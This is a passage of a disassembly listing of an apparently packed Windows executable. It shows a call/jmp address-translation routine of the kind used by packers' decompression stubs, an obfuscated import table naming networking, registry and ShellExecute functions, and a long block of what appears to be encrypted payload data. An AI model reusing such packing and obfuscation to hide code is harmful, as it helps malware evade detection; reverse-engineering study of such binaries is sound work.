loc_42B652:				; CODE XREF: sub_42B421+125j
		cmp	eax, ebx
		jz	short loc_42B65C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_42B65C:				; CODE XREF: sub_42B421+233j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_42B669
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_42B669:				; CODE XREF: sub_42B421+240j
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_42B676
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_42B676:				; CODE XREF: sub_42B421+24Dj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_42B683
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_42B683:				; CODE XREF: sub_42B421+25Aj
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_42B690
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_42B690:				; CODE XREF: sub_42B421+22Cj
					; sub_42B421+267j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42B421	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B695	proc near		; CODE XREF: sub_42B421+20Fp
					; sub_42B421+217p ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_42B6A1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_42B6A1:				; CODE XREF: sub_42B695+4j
		retn
sub_42B695	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B6A2	proc near		; CODE XREF: sub_42A960+CAp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	1
		mov	esi, [ebp+arg_C]
		pop	ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], ecx
		xor	eax, eax
		and	[ebp+var_C], al
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_B], cl
		mov	ecx, [ebp+arg_4]
		add	ecx, 0FFFFFFFBh
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_A], 2
		mov	[ebp+var_9], 2
		mov	[ebp+var_8], 3
		mov	[ebp+var_7], 3
		mov	[ebp+var_6], 3
		mov	[ebp+var_5], 3
		mov	[ebp+var_4], ecx


loc_42B6F2:				; CODE XREF: sub_42B6A2+16Fj
		mov	edi, [ebp+arg_0]
		mov	cl, [eax+edi]
		cmp	cl, 0E8h
		jz	short loc_42B708
		cmp	cl, 0E9h
		jz	short loc_42B708
		inc	eax
		jmp	loc_42B80E
; ---------------------------------------------------------------------------


loc_42B708:				; CODE XREF: sub_42B6A2+59j
					; sub_42B6A2+5Ej
		mov	edx, [ebp+arg_10]
		mov	ebx, [ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [edx]
		add	ecx, ebx
		add	ebx, eax
		cmp	ecx, 5
		mov	[edx], ebx
		jbe	short loc_42B722
		and	dword ptr [esi], 0
		jmp	short loc_42B732
; ---------------------------------------------------------------------------


loc_42B722:				; CODE XREF: sub_42B6A2+79j
		test	ecx, ecx
		jbe	short loc_42B732


loc_42B726:				; CODE XREF: sub_42B6A2+8Ej
		mov	edx, [esi]
		and	edx, 77h
		shl	edx, 1
		dec	ecx
		mov	[esi], edx
		jnz	short loc_42B726


loc_42B732:				; CODE XREF: sub_42B6A2+7Ej
					; sub_42B6A2+82j
		mov	dl, [eax+edi+4]
		test	dl, dl
		jz	short loc_42B743
		cmp	dl, 0FFh
		jnz	loc_42B7FA


loc_42B743:				; CODE XREF: sub_42B6A2+96j
		mov	ecx, [esi]
		mov	[ebp+arg_4], ecx
		shr	[ebp+arg_4], 1
		mov	ebx, [ebp+arg_4]
		and	ebx, 7
		cmp	[ebp+ebx*4+var_2C], 0
		jz	loc_42B7FA
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 20h
		jnb	loc_42B7FA
		xor	ecx, ecx
		mov	ch, dl
		mov	cl, [eax+edi+3]
		movzx	edx, byte ptr [eax+edi+2]
		shl	ecx, 8
		or	ecx, edx
		movzx	edx, byte ptr [eax+edi+1]
		shl	ecx, 8
		or	edx, ecx


loc_42B784:				; CODE XREF: sub_42B6A2+125j
		sub	edx, eax
		sub	edx, [ebp+arg_8]
		sub	edx, 5
		cmp	dword ptr [esi], 0
		mov	ebx, edx
		jz	short loc_42B7CC
		mov	ecx, [ebp+arg_4]
		push	18h
		movzx	edi, [ebp+ecx+var_C]
		mov	ecx, edi
		shl	ecx, 3
		mov	edx, ecx
		pop	ecx
		sub	ecx, edx
		mov	edx, ebx
		shr	edx, cl
		test	dl, dl
		jz	short loc_42B7B4
		cmp	dl, 0FFh
		jnz	short loc_42B7C9


loc_42B7B4:				; CODE XREF: sub_42B6A2+10Bj
		push	4
		pop	ecx
		sub	ecx, edi
		push	1
		shl	ecx, 3
		pop	edx
		mov	edi, [ebp+arg_0]
		shl	edx, cl
		dec	edx
		xor	edx, ebx
		jmp	short loc_42B784
; ---------------------------------------------------------------------------


loc_42B7C9:				; CODE XREF: sub_42B6A2+110j
		mov	edi, [ebp+arg_0]


loc_42B7CC:				; CODE XREF: sub_42B6A2+EFj
		mov	ecx, ebx
		add	eax, 5
		shr	ecx, 18h
		and	cl, 1
		dec	cl
		not	cl
		mov	[eax+edi-1], cl
		mov	ecx, ebx
		shr	ecx, 10h
		mov	[eax+edi-2], cl
		mov	ecx, ebx
		shr	ecx, 8
		mov	[eax+edi-3], cl
		mov	[eax+edi-4], bl
		and	dword ptr [esi], 0
		jmp	short loc_42B80E
; ---------------------------------------------------------------------------


loc_42B7FA:				; CODE XREF: sub_42B6A2+9Bj
					; sub_42B6A2+B4j ...
		or	dword ptr [esi], 1
		mov	ecx, [esi]
		inc	eax
		test	dl, dl
		jz	short loc_42B809
		cmp	dl, 0FFh
		jnz	short loc_42B80E


loc_42B809:				; CODE XREF: sub_42B6A2+160j
		or	ecx, 10h
		mov	[esi], ecx


loc_42B80E:				; CODE XREF: sub_42B6A2+61j
					; sub_42B6A2+156j ...
		cmp	eax, [ebp+var_4]
		jbe	loc_42B6F2
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42B6A2	endp

; ---------------------------------------------------------------------------
		align 10h
off_42B820	dd offset dword_420000	; DATA XREF: sub_42AA39+255w
					; sub_42AA39+269r ...
dword_42B824	dd 8DCE00h		; DATA XREF: sub_42AA39+22Cw
					; sub_42AA39+232r ...
dword_42B828	dd 9FD4h		; DATA XREF: sub_42AA39+242w
					; sub_42AA39+2EAw ...
; ---------------------------------------------------------------------------
		add	al, 0A3h
		add	al, [eax]
		xor	al, 0A2h
		add	al, [eax]
		sub	[edx+13370002h], ah
		retn
; ---------------------------------------------------------------------------
		db 0CDh
		dd 77D40000h, 2A32Ch, 2A25Ch, 0
		dd 0CDC31337h, 77C10000h, 2B8C0h, 2B8FCh, 0
		dd 0CDC31337h, 71AB0000h, 2B8CBh, 2B904h, 0
		dd 0CDC31337h, 77DD0000h, 2B8D6h, 2B90Ch, 0
		dd 0CDC31337h, 773D0000h, 2B8E3h, 2B914h, 0
		dd 0CDC31337h, 77120000h, 2B8EFh, 2B91Ch, 5 dup(0)
		dd 4356534Dh, 642E5452h, 57006C6Ch, 335F3253h, 6C642E32h
		dd 4441006Ch, 49504156h, 642E3233h, 53006C6Ch, 4C4C4548h
		dd 642E3233h, 4F006C6Ch, 5541454Ch, 2E323354h, 6C6C64h
		dd 77C1C055h, 0
		dd 71AB3E5Dh, 0
		dd 77DD7F3Eh, 0
		dd 77428B97h, 0
		dd 7713BC68h, 0
		dd 695F0134h, 616F74h, 655201D9h, 756E4567h, 6C61566Dh
		dd 416575h, 68530107h, 456C6C65h, 75636578h, 416574h
dword_42B94C	dd 0BCh, 1F000h, 9FD4h,	200h, 20000h, 167F1h, 2AA39h, 400000h
					; DATA XREF: .data:off_42A024o
		dd 10Fh, 173C8h, 0
		dd 1, 9	dup(0)
		dd offset TlsIndex
		dd offset off_42A004
		align 10h
		dd 1, 0
		dd 1D200h, 3, 1, 200h, 16000h, 1000h, 15FE7h, 0E0000020h
		dd 1, 200h, 1000h, 17000h, 0E4Ch, 40000040h, 1,	200h, 5E00h
		dd 18000h, 7098h, 0C0000040h, 17Eh dup(0)
_data		ends

; Section 2. (virtual address 0002C000)
; Virtual size			: 0000B22C (  45612.)
; Section size in file		: 0000B22C (  45612.)
; Offset to raw	data for section: 0002C000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_pdata		segment	para public 'CODE' use32
		assume cs:_pdata
		;org 42C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_42C000	dd 8000005Eh, 0FF2E0000h, 9E8308FCh, 0C5038B64h, 0E746823h
					; DATA XREF: .ex_cod:off_4396B8o
		dd 693EB30Fh, 0F7BE6D78h, 0AE34AFF6h, 60B9DE41h, 2239F683h
		dd 99528305h, 276AC8F2h, 0E549CC87h, 36045F3Bh,	3E7C5234h
		dd 0E8C061C2h, 0E8884A41h, 57FE9888h, 92D977Bh,	0EEB431F2h
		dd 0D5F7A46Dh, 0C19BDA13h, 49C9E0BCh, 29B4A31Ah, 6CA7191Dh
		dd 0A461117Ch, 61B63471h, 6E9401ECh, 50A7F6E1h,	0D8286EA9h
		dd 311703BDh, 8B0F061Bh, 81BC383Ah, 0EB6A09BAh,	9D9BD61Ah
		dd 3FB8B13Ch, 0F8A6BCD5h, 260E26B3h, 3A78F44Dh,	0BEDB3937h
		dd 6E34E871h, 0DCBA1FB4h, 943300AAh, 3C46DC92h,	521EDB21h
		dd 0E3FCE8A6h, 0BB866E7Dh, 85EE4151h, 93DC416h,	0B94952Bh
		dd 59EA9F94h, 4FB35BEAh, 1404049h, 969B5F45h, 0C2021148h
		dd 0E5F3C90Dh, 1949B72Fh, 3ED5335h, 59AB3066h, 92426434h
		dd 9FB4B41Dh, 81E90311h, 0AA5358E9h, 7D5B5A07h,	5AC9111Ch
		dd 0D3C7A0E7h, 80F9F334h, 0A69C0E50h, 81673B94h, 458F6409h
		dd 785D8084h, 0FE7F0743h, 64B0ED27h, 0E6948E99h, 0ECA5DCB1h
		dd 8627E0F2h, 8C5BC509h, 6DE2B18Ch, 6DB27388h, 2AEE6F47h
		dd 8B73B62h, 0C98B1574h, 0CFC4122Ah, 557EAC44h,	0F5FFCC8Dh
		dd 1806BE41h, 5946D7D3h, 49F3275Ah, 9F652BB5h, 12079FABh
		dd 0E3E3BFBAh, 15B3BC56h, 61AD91AAh, 6186B45Ah,	986A613Bh
		dd 0A9ACAC80h, 0D4710F63h, 0C76DF5C4h, 1E942A3Eh, 497F7942h
		dd 652B269Eh, 7921FE77h, 0DCE640EBh, 0B524B132h, 0CF7F8D85h
		dd 15FC0410h, 0ED98911Dh, 8E03B911h, 0FB3D73B3h, 0A7A0447Ah
		dd 200AB8BEh, 0EC2F0AAh, 4CD684B2h, 2D469E5Dh, 860C520Ah
		dd 6FED445Eh, 0E8DEAEECh, 0BC26447Ch, 0F11F75F0h, 61179836h
		dd 0A2F5EBDh, 400789CEh, 7010C2FAh, 7130B7F4h, 0F6318A1Bh
		dd 0DD0A9E95h, 0ACF39508h, 0A439B153h, 4A686532h, 0BDFD5BB7h
		dd 6D926AFDh, 0FC302903h, 76B37756h, 26F45516h,	9B998CBh
		dd 3F669F15h, 756FD013h, 0F5D71710h, 0D14EABD4h, 450D9611h
		dd 0EAB0C746h, 0F4360EA0h, 2059F2B0h, 0DA37F729h, 28AD03BAh
		dd 0B9AFF2EAh, 0ACF8CC03h, 29687577h, 0FC01D233h, 51208F50h
		dd 4191995Bh, 0A319FC4Dh, 0F9E65BABh, 5BF62C45h, 0D7FDB12Ch
		dd 8A0CFC1Ah, 772D271Bh, 0B147AFB8h, 494FC5FCh,	87B6A277h
		dd 0F1501D41h, 6589FD6Ah, 0EE07728Fh, 3CE5C98Ch, 0D43E331Bh
		dd 0DA1CF1Bh, 0CA485129h, 2FE94A37h, 55A3CA9Ah,	0E28BD7FEh
		dd 2C88F4B9h, 0C579885Eh, 3A9B8590h, 0F0FA1897h, 4F3F7E64h
		dd 0FC728861h, 0B18E9AEAh, 119BAF4Dh, 29165FF8h, 0A01715C0h
		dd 0F0AF5511h, 0F5E7F732h, 993772Ch, 0F872FC88h, 2CF62AF8h
		dd 71EA923Ch, 764CFCC2h, 4F5A8711h, 422BD871h, 9352E70Fh
		dd 8865363Eh, 0BE8A99E7h, 1FDE2F06h, 5E78F0A5h,	8580B0C0h
		dd 0DF8E487Ch, 8CFC6934h, 0E05EBF0Ah, 12C52DFEh, 6D07B694h
		dd 0D520DE9Eh, 3DE307Bh, 386C0C45h, 0CFDA864h, 4E8E6576h
		dd 0DD7CBF2Fh, 5F620BAFh, 607BEC8h, 2B243B7Bh, 1D5371DCh
		dd 56C2076Bh, 8905D540h, 0D9FF7619h, 944445C8h,	5D056877h
		dd 52050368h, 0A4010E2h, 0D64B656Dh, 896CB827h,	1870A295h
		dd 9067CE7Fh, 74FD2CE8h, 0E86DDA10h, 0CC2C8BFh,	0F826BB05h
		dd 0F903E7E3h, 33710856h, 6F42CA08h, 0F7D5FBD4h, 8D748B1Bh
		dd 0C3A929DCh, 15DB5BA0h, 0D88B634Ch, 13F17956h, 72E7B7ACh
		dd 54CAE6ECh, 18052D84h, 3FBFDE62h, 0F8C9FA8Fh,	0F73359CFh
		dd 79E5ED2Fh, 0A2270921h, 0F7D1D963h, 19A30112h, 375B0A9Dh
		dd 3B32123Dh, 0E831DF72h, 0D277AA72h, 0DCC495CDh, 74DE0E00h
		dd 0D39060F8h, 4C6F0D2Ch, 768B03F8h, 640F13B1h,	0A5380B8Dh
		dd 3C370CAh, 633BED2Ah,	3BE21160h, 0F6DDAFEFh, 430A77EFh
		dd 0F72E2A4Ah, 0B0223B90h, 1E1F42h, 0D47051BEh,	662F0656h
		dd 0B9360D0Fh, 9B41D6A5h, 8BF6D515h, 0D7CF1E65h, 75E13A62h
		dd 0F4B46228h, 2C475984h, 3D6857C3h, 84BDCD2h, 0F887064Eh
		dd 0DC5CD1DCh, 346F3F98h, 2F34A732h, 87B082D8h,	2F6868C6h
		dd 9CD3E2A0h, 474E7C19h, 15DD93D1h, 0EAD5688Dh,	0DEF98A31h
		dd 28F482F5h, 1A4494C9h, 289F7225h, 0EC63034h, 5CE434Dh
		dd 0DA6D1C00h, 6CB1E28h, 0CE1B483Eh, 0F9E4DED3h, 4E74A78Eh
		dd 31BD4C77h, 6492E97Bh, 0B5FB8E23h, 0FB2563D6h, 435466B6h
		dd 8A2F21B3h, 0E837E88h, 0D03CAFDFh, 0C5A0E707h, 9329F1E4h
		dd 1CD82168h, 0D6ECFF8Bh, 514C4B2Ah, 9301BCBCh,	0D88A5E04h
		dd 8DBFC276h, 9FA6E05Dh, 0E515FEB5h, 4FC11574h,	0C501D833h
		dd 0C538B97Ch, 0D2255DC3h, 0CF04574Ah, 0C95726D3h, 23A76B31h
		dd 1F4D1C9Fh, 29B871BBh, 0E67A9B5Dh, 0EAE5B9FBh, 91D6AC8h
		dd 9E939ACh, 4E61FC29h,	8807ECAh, 9E17F349h, 19F7B1EDh
		dd 0D89B1182h, 8C4AC3D7h, 797E2962h, 7AD6C773h,	0B0D793FFh
		dd 0C13D0979h, 1BDD8D04h, 8C8B561Ch, 6C9F20AFh,	0DABA3EC7h
		dd 0C239EDE3h, 2F9F4B5Fh, 0DFC79FE3h, 1DDC681Ah, 17B474CDh
		dd 0CB17A258h, 851CBAD8h, 71135CA7h, 0CF490AA3h, 8FE0E756h
		dd 4D4E2073h, 17BEDD64h, 7927D844h, 763B0B6Ah, 1169D445h
		dd 0A37E96CFh, 0FDDE3343h, 7234EC06h, 0EE97C926h, 0FA998B47h
		dd 0DEFFDE13h, 7DEBBAB2h, 5062D0A7h, 7235D82Ah,	0FF49E65Bh
		dd 0C93B9208h, 0ADF98497h, 387937B2h, 8C14ECCEh, 0F964124Ch
		dd 4E986653h, 736BAB6Ch, 8F577A0Bh, 0BE41F2C2h,	0DBE6104Ah
		dd 0BB7C7621h, 0FAEA73EAh, 0D7C13EF2h, 68F95DC2h, 57E8F636h
		dd 93C4BFE0h, 0E639F8E0h, 0BDB7CF0Dh, 0EC4753BBh, 312ECE08h
		dd 989A34A8h, 3E43D776h, 778B0525h, 0AB1547A5h,	6E62123Bh
		dd 0AB47296h, 5D24C7F4h, 9F78635h, 0A0FCB6A5h, 0B5795C40h
		dd 554D9200h, 48E527ABh, 991EDD2Dh, 78B3914Ah, 137C76Ch
		dd 0ECBABAC7h, 0ECDE2C28h, 0A2CFC8E8h, 8A4D97C1h, 89CF592h
		dd 0CF9B2D5Dh, 0F53D30B7h, 9E3E49D2h, 0F562F6A0h, 0E847E640h
		dd 89A7F6C0h, 9C641059h, 0D122299Fh, 0DA137EECh, 0E9D1BFA1h
		dd 5F14A86Fh, 0A3EB5C7Ah, 0FE622A95h, 0E588C33Ah, 7D99FAB8h
		dd 510E19E7h, 40897E80h, 0A2A2307Fh, 0F1E5E366h, 1CE56C18h
		dd 3762856Eh, 0A55F1FDCh, 4CE167EDh, 0B72A2ACAh, 0B63C6932h
		dd 0BC1A26F2h, 1D21D75h, 0DC7FA7D7h, 1F26CD12h,	1FA7BA9Bh
		dd 5E8B470Bh, 0B3147865h, 0CA9CCB14h, 0F0859E37h, 0F2B6BED3h
		dd 0E6C39F25h, 0C525378Ch, 4C3039BEh, 975FC31Dh, 65D8685Eh
		dd 7BEF8976h, 6B896BECh, 0C3789189h, 0D554B0C9h, 0DF35F586h
		dd 1384072Bh, 0EF5B76A2h, 36C50936h, 0D363A1EBh, 54B3F8B6h
		dd 0BDF83C03h, 24A41E4Fh, 6CEB9610h, 0DB9E8B33h, 0E8E93017h
		dd 6990E1DBh, 0C47E5535h, 8C631897h, 282E7CD9h,	66AF9D76h
		dd 7EF9A75h, 74A86307h,	4BBD40ABh, 65FE7532h, 6A7FB23Ch
		dd 0F5B24986h, 0EF498756h, 0F20F1C6Eh, 7CC458E6h, 47F4F3D8h
		dd 0CBE13ECAh, 0F859CBE4h, 0DA1628B2h, 3A0DCA92h, 3C6C0F20h
		dd 6D7EE931h, 7174F6C3h, 0FBE2A64Fh, 1BF9121Bh,	0F23D886Dh
		dd 8A1C631Dh, 23DF3FC9h, 9CC1B87Bh, 0F6D80733h,	7864C40Ch
		dd 7952F9CCh, 8AAE90ABh, 78F38DD3h, 0D84AA6CEh,	0B408E1E1h
		dd 373F818Ch, 2D57CAA2h, 2CFC4947h, 0EFF93AA8h,	0B96841CEh
		dd 0C1AEFA87h, 0D9C25614h, 0A734AE44h, 0AAEAA8Fh, 0A017D2E0h
		dd 0A59D186Dh, 0A8FA3222h, 4D1BA230h, 9BC4D215h, 0A1C9155Fh
		dd 0EC18BFB4h, 4D46403Fh
		dd 15E6CB8Fh, 7582F5F7h, 9322F9CAh, 0BB6FD795h,	0D5DB5394h
		dd 0A7D6307Fh, 0EA155CDBh, 32B3E499h, 0BEF69B91h, 60871133h
		dd 0E9396ABDh, 73C12C4h, 0DCB7BA4Bh, 24296366h,	0BB0EE224h
		dd 0B42625BAh, 0D5029B88h, 0C84EC866h, 7CA67D1Dh, 5836BD19h
		dd 23DA58D8h, 0E41CADA4h, 0BCF44ED3h, 57896914h, 0B9AFF280h
		dd 0B1660633h, 0A557AEE4h, 0DA9F4D3Dh, 8474A253h, 0B70C318Ch
		dd 9B004019h, 0EE62DB04h, 0DFC75C5Ah, 0B989EF00h, 0B2D54B9Dh
		dd 2073038Dh, 7D69B666h, 0DC8C05C7h, 0D5E024EAh, 0CFF9CDCCh
		dd 0FDDFAE57h, 67425768h, 0AC175ED2h, 0BAE695E1h, 81883D75h
		dd 0E66A2493h, 6AE0D89Dh, 0D7B71A6Ah, 139E52FCh, 0D75803F2h
		dd 4000BFB5h, 1ED64957h, 0A64AA280h, 0A89AEE45h, 0DD282AC0h
		dd 0E3D721AFh, 9CB05E64h, 78361D2Ch, 7D902C79h,	74CE18D8h
		dd 0F203A6B1h, 6852DC8Dh, 95AE0CBAh, 0DA3B4D33h, 3E357DA6h
		dd 42552AB2h, 8078C915h, 9D88829h, 41B02DCBh, 400CEC18h
		dd 88610AABh, 2DE4C289h, 2F2CD040h, 99BB8ED9h, 0E9559E65h
		dd 0D56CE479h, 0DD4F4D9Ch, 3F3754A3h, 4E892EA7h, 648BD488h
		dd 94534527h, 3637C2CAh, 9EF0A766h, 0C19699C7h,	0C4DB2F61h
		dd 0C930686Bh, 0DAF14CE0h, 98FE8742h, 5E7E6130h, 0CB70EDAFh
		dd 707C5F01h, 928B2003h, 4408681Fh, 9BC1CB6Eh, 0D4E8DC39h
		dd 0D0BA7222h, 75609604h, 933CDE97h, 0BAE603E0h, 9C0837DEh
		dd 220517B6h, 0A8D3B8CEh, 0CAD34A01h, 65989E8Eh, 304BE0FBh
		dd 58ED9EC1h, 198F9F00h, 7EC3BA67h, 286160F5h, 0E5A1CF0Bh
		dd 0FA277FD1h, 422814C4h, 89ABE59Eh, 0A610B305h, 0D37A08C9h
		dd 76EC7F52h, 803E2BA5h, 0B1B5ADA2h, 0A008B6ECh, 0D5047D26h
		dd 9BBDEE09h, 0BD590547h, 0CA91EEE2h, 5590F22Bh, 380BE95Eh
		dd 0D2BEBFAEh, 0D0C92B7Ch, 6BDCE596h, 5D357DB5h, 0BE8AEA14h
		dd 0F938FDD5h, 50F34FBBh, 2EC39995h, 2C986E8Ah,	7C039F30h
		dd 82657F67h, 0C3ED0577h, 0C548E9FBh, 0F5F803E5h, 0D7FEE1EAh
		dd 596CB954h, 0A39F8CFBh, 113AB23Bh, 82D1E6Bh, 0FF1AE857h
		dd 541350F3h, 32635E6Eh, 0ECB6057Ah, 70BA6F3Fh,	162DE590h
		dd 3E941F63h, 6D5D8927h, 6BBEB54Eh, 391A3F60h, 0B5D9857Ch
		dd 9735AE76h, 0D1525D89h, 0D982D503h, 0DF9C6290h, 59EC097Dh
		dd 457A08FFh, 0B6869E00h, 9595CFBh, 0FFFAC58Ch,	78B5CF97h
		dd 0ACD59F7Fh, 0B509A8B2h, 0B8D37E2Bh, 0FDEE3A29h, 9AFC4Fh
		dd 8DA3C305h, 0CF3BA65Ah, 6F1DBA5Bh, 45096C12h,	2538E814h
		dd 0FECC46AFh, 59F5FE8Fh, 0B01B070Fh, 1C5E756Ch, 0B0839907h
		dd 16600E34h, 0A4AF61Fh, 2286A4E6h, 0D4D1EA23h,	0EFCBC6EEh
		dd 0D56E761Ch, 0D1326DA0h, 5E60A691h, 0EEB0E1A1h, 2F737E41h
		dd 467473F2h, 23DEFD75h, 3AAD72ECh, 71F849CCh, 0EAEF80E9h
		dd 0B5CE8420h, 0B1C4644Bh, 0D2A3767Fh, 0A26C5BA8h, 0A47A26C8h
		dd 0C49EE12Ch, 0A24934E4h, 896F9CB4h, 13958F49h, 6A855F91h
		dd 54FD06B4h, 7B1AD10h,	8568E50Eh, 9E73058h, 71CA52F6h
		dd 54CD6780h, 9BA70EE5h, 1A8027A1h, 41D31499h, 0B831543Ch
		dd 36AE2F8h, 0AEAB9708h, 33D6D58Bh, 683DCE1Fh, 0FE9FD1B1h
		dd 9A0B3A0Ch, 0B4AE9BDAh, 0C348E95Eh, 0E332417Fh, 0DCE8BD83h
		dd 43878E95h, 4CC04950h, 652E997Ah, 3DDECB22h, 0D7300F33h
		dd 427CC44Ch, 1EF2C6A4h, 9EF53136h, 0B6692627h,	9C96160Bh
		dd 0E31A7B15h, 1BD54406h, 60B56D52h, 0FF4A6173h, 25F68DDEh
		dd 0AB4821CAh, 81F373Dh, 92028458h, 0A68DFA84h,	5BD393A7h
		dd 0D904923h, 74D2DA54h, 0A9BDDC2Dh, 6F628F3Ah,	0CBBCC09Dh
		dd 5992003Ah, 5FE94EB4h, 3A102726h, 0BDDE7AEFh,	11B87A6Ch
		dd 0AF13783h, 24916EFEh, 940E3FFDh, 0C625B481h,	2CF58A56h
		dd 0AACE5DA8h, 1A63D51h, 76996F38h, 9C27CE1Bh, 7AD778C1h
		dd 0ECF6C6CDh, 0FE6A72ECh, 0D3496263h, 9B49E00Ah, 0D6CF4901h
		dd 53B1F465h, 104CDB86h, 0DB96DCCDh, 40885939h,	4E9D4C7Ch
		dd 0F82DD447h, 0D403059h, 0FC23F145h, 0CA26BBF8h, 914E7835h
		dd 0AD90A2D4h, 59D42BDDh, 6EB8A22h, 8FB7AE35h, 3211F1F6h
		dd 0C3B97B08h, 55A72142h, 638CFD25h, 0B0C10B00h, 26CF8085h
		dd 5B9E576h, 0B2831DC8h, 0D213D1F2h, 0E6AF03CBh, 9A8400h
		dd 0AEAE2956h, 0A5E659CDh, 0C36C2051h, 0E7A7CF8Bh, 0D2C11487h
		dd 5C2C1985h, 0D0D01348h, 2155F3EDh, 80AB692Eh,	4D842705h
		dd 0D3C05839h, 7FC4140Bh, 0B89A31C6h, 1F6E732Ch, 0BE5D9DF4h
		dd 502FDBD4h, 7E676481h, 29A2E3B9h, 337AC3D2h, 0B90D802Ah
		dd 0A4F9430Fh, 0B6CE0341h, 0F49D5BD0h, 0D8E501BCh, 83FA3D5Dh
		dd 37F0E207h, 0F80DC0F6h, 97EBE612h, 59642D87h,	3E570D56h
		dd 7CA487Ah, 1E2930ABh,	8320942Fh, 5CC03AB0h, 0FC564EA1h
		dd 4B2A9CEh, 749D512Dh,	112F05ACh, 79962714h, 6AE7994Ch
		dd 9F56124Dh, 5427D1CEh, 5A443654h, 3BCE0DDAh, 7644E0B4h
		dd 71F93A93h, 0DA053434h, 2AA262E2h, 934BE009h,	807145D8h
		dd 8DC79FDh, 4D18EF0h, 0ED1021D5h, 79863B5Ah, 7E268B3Ch
		dd 3D604E9Ch, 549A76D3h, 4AC87658h, 9DBCAB3Bh, 0EAAC6FAAh
		dd 8797AC6Ch, 0BBE67635h, 0AB78446Fh, 6B8D8CFFh, 0ED931270h
		dd 0ED8129Ah, 5E11A4E7h, 527A0201h, 0ACD53327h,	0A000FDF2h
		dd 0C4EB8064h, 845ECE43h, 0F39B59Bh, 16754591h,	8646DDE5h
		dd 0FDEB2607h, 6639825Bh, 425A8C9Ch, 502A3B5Dh,	72916C08h
		dd 1D8CE8Ah, 40F8AF20h,	0E5EB869Fh, 0E716F848h,	0C6E46555h
		dd 0C981DB33h, 7B6449F7h, 0B206FCAFh, 4FF414D9h, 55B5AE77h
		dd 0AE1A813Bh, 443B348Bh, 18B012BCh, 0ABEAD881h, 5723A193h
		dd 0AA46D414h, 584273B1h, 0C30B7C1Bh, 20834EBCh, 0FFCD0101h
		dd 636C6460h, 91209066h, 0FCA48B8Ah, 0C183536Fh, 27FEB39Bh
		dd 0BEC7076Ch, 0E4CF884Ch, 1EEF83A2h, 8B511E75h, 16CCC6ECh
		dd 948DF38Fh, 6B4E26AEh, 0A5F0FDFAh, 3C4CF4C2h,	0D409E993h
		dd 3D9EE736h, 5B3179B8h, 0FEB2B21Eh, 56A04657h,	0CBAD9485h
		dd 5CF10357h, 7AEAFC3Ch, 6020FBF3h, 0C6ACAC98h,	629216CFh
		dd 0C0B7EE42h, 0C6096CA0h, 28556FBh, 83EB316Ah,	0AC8D56Dh
		dd 3B4A7D96h, 97AF7FDEh, 23CCE4CDh, 6198DEC5h, 3C06A8D2h
		dd 0C1EB7090h, 6860AC3Eh, 0DF88636Ch, 1BD645DEh, 5857B17Ch
		dd 26114685h, 27EF0D9h,	53F1A28Dh, 81AF14E1h, 0E225FA1Dh
		dd 5D1ACECh, 86A99C17h,	8C5B7D00h, 0C3896AA9h, 2EFF482Eh
		dd 0F1D2FDA5h, 34715564h, 4FDBA776h, 3372EEFFh,	103D9323h
		dd 0BE11B784h, 0ACA648Fh, 65EFE75Eh, 8F074928h,	0F716F753h
		dd 0FD932233h, 7736A7DEh, 0B338739Ch, 0B9787851h, 25676355h
		dd 0DBA58040h, 58A661D5h, 4EE35E32h, 6CBF2048h,	0F95E28DBh
		dd 0C23F72C3h, 1E21D515h, 96E3E4CBh, 6DBD25B8h,	9434BF36h
		dd 2104B4CAh, 0D443F278h, 63D2C3E9h, 89F5312Eh,	7DA4332Eh
		dd 4FA6D4A0h, 901D3CA4h, 8FEE9EA3h, 0E0BA9C1Eh,	0B2E92851h
		dd 0B5CCF651h, 741C03E7h, 97A05CC2h, 7E2E1526h,	116D693Eh
		dd 0BFBFA0B4h, 4A5549B5h, 9562BAA9h, 84350C26h,	2F2C923Eh
		dd 65C5C69Fh, 71C5E3BEh, 2B5B86E7h, 4597E93Ah, 0E438490Bh
		dd 0E6D51515h, 991C4328h, 97A1ED22h, 661512B4h,	0F1EC2B56h
		dd 0F75479BCh, 8D3DD9F1h, 0D15E09F7h, 643CCD81h, 781A1D1Ah
		dd 0F75BF686h, 0B5778B4Eh, 67F9877Ah, 0BF971AA8h, 342E2430h
		dd 65D875E1h, 0A6E56A11h
